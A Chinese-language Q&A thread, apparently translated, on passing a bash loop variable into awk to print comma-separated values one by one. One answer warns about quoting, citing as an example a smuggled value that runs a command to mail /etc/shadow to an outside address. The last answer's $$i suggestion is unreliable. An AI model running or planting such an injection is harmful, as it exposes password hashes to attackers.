#!/bin/bash
index=101,102,103,104,105
/bin/echo "$index" | /bin/awk -F, '{print $2}'
上面是我的 shell 脚本,(这只是一个演示它不应该是静态的)当我执行这个时它返回值"102"是正确的。
#!/bin/bash
index=101,102,103,104,105
for i in 1 2 3 4 5
do
/bin/echo "$index" | /bin/awk -F, '{print $i}'
done
我想一个接一个地打印所有数字...我错在哪里?
我对"空"的隔离值进行了一些更改...现在我想做什么改变? 获取和递增$i的值?
output of *some command*
1013
1023
12324
13224
3122
2421
#!/bin/bash
index=*some command*
i=1
for LINE in ${OUTPUT} ; do
ans=$(/bin/echo "$index" | /bin/awk -vRS= -vFS="n" '{print $i}')
i=`expr $i + 1`
done
单引号不允许变量扩展。 所以"$i"
被扩展到$i
的值,但'$i'
是一个字面上的$i
。
假设变量将在脚本中正确扩展通常是不安全的。 您不想将脚本放在双引号中。 相反,使用 awk 的-v
选项将$i
的值传递到 awk 脚本中。
#!/bin/bash
index=101,102,103,104,105
for i in 1 2 3 4 5; do
echo "$index" | awk -F, -vi="$i" '{print $i}'
done
由于这是一个示例,我不确定您是否真的要使用 for 循环来生成$i
的值,您应该记住在$i
周围加上双引号,这样如果它包含空格或其他奇怪的字符,您不会破坏脚本并意外执行您不想执行的内容。 虽然并不总是必要的,但始终建议在 bash 中引用您的变量。 谨慎≈好。 如果$i
得到一个"1;mail h4x0r@example.net < /etc/shadow;true"
的值,如果没有引号,你就会有危险。 使用引号,您只有一个失败的脚本。
你必须将i
的值传递给 awk:
#!/bin/bash
index=101,102,103,104,105
for i in 1 2 3 4 5
do
/bin/echo "$index" | /bin/awk -v i=$i -F, '{print $i}'
done
否则,脚本中i
的值是 awk 不知道的,默认情况下它采用0
的值。所以它会打印,就好像你说$0
.
或像这样
#!/bin/bash
index=101,102,103,104,105
IFS=','
for x in $index
do
echo "$x"
done
IFS 将根据您的情况定义分隔符","。然后你可以浏览元素(如数组)
使用双引号,以便 shell 扩展$i
。然后,您必须引用美元符号以防止$$
的扩展:
awk -F, "{print $$i}"